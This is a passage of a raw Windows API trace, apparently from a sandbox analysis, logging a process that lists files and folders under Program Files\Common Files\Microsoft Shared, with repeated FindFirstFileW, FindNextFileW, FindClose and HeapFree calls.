ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.501] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.501] GetLastError () returned 0x12 [0054.501] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.501] FindClose (in: hFindFile=0x4d88e0 | out: hFindFile=0x4d88e0) returned 1 [0054.501] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0054.501] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42a795bf, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x42a795bf, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x43f1e320, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x29800, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0054.501] GetLastError () returned 0x12 [0054.501] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0054.501] GetLastError () returned 0x12 [0054.501] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0054.974] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.974] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.975] GetLastError () returned 0x12 [0054.975] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.975] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0054.975] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0054.975] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a593198, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6a593198, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf44c0670, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1 [0054.976] GetLastError () returned 0x12 [0054.976] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0054.976] GetLastError () returned 0x12 [0054.976] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0054.976] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.976] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.976] GetLastError () returned 0x12 [0054.976] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.976] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0054.976] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0054.977] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0054.977] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0054.977] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0054.977] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0054.978] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0054.978] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0054.978] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0054.979] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0054.979] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0054.979] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0054.980] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0054.980] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0054.980] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0054.980] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0054.980] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0054.980] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0054.981] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0054.981] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0054.981] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0054.982] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0054.982] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0054.982] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0054.982] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0054.982] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0054.982] FindClose (in: hFindFile=0x4d87e0 | out: hFindFile=0x4d87e0) returned 1 [0054.983] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a873a8 | out: hHeap=0xab0000) returned 1 [0054.984] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\*"), lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87e0 [0054.985] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0054.985] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0054.985] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0054.985] FindClose (in: hFindFile=0x4d87e0 | out: hFindFile=0x4d87e0) returned 1 [0054.985] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a873a8 | out: hHeap=0xab0000) returned 1 [0054.986] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\*"), lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd57f8fc0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd9081a40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd9081a40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87e0 [0054.987] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\Cultures\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\cultures\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8fc3360, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd8fc3360, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd8fc3360, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0054.987] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0054.987] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0054.988] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\en-us\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\en-us\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd57f8fc0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd57f8fc0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd57f8fc0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0054.988] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0054.988] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0054.988] FindClose (in: hFindFile=0x4d87e0 | out: hFindFile=0x4d87e0) returned 1 [0054.988] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a873a8 | out: hHeap=0xab0000) returned 1 [0054.989] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\*"), lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9081a40, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd91b2540, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd91b2540, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87e0 [0054.991] FindClose (in: hFindFile=0x4d87e0 | out: hFindFile=0x4d87e0) returned 1 [0054.992] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a873a8 | out: hHeap=0xab0000) returned 1 [0054.992] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\*"), lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87e0 [0055.003] FindClose (in: hFindFile=0x4d87e0 | out: hFindFile=0x4d87e0) returned 1 [0055.004] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a873a8 | out: hHeap=0xab0000) returned 1 [0055.004] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\*"), lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87e0 [0055.005] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\en-us\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0055.005] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0055.005] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0055.005] FindClose (in: hFindFile=0x4d87e0 | out: hFindFile=0x4d87e0) returned 1 [0055.005] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a873a8 | out: hHeap=0xab0000) returned 1 [0055.006] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit\\*"), lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87e0 [0055.008] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit\\en-us\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0055.121] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0055.135] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0055.135] FindClose (in: hFindFile=0x4d87e0 | out: hFindFile=0x4d87e0) returned 1 [0055.135] HeapFree (in: 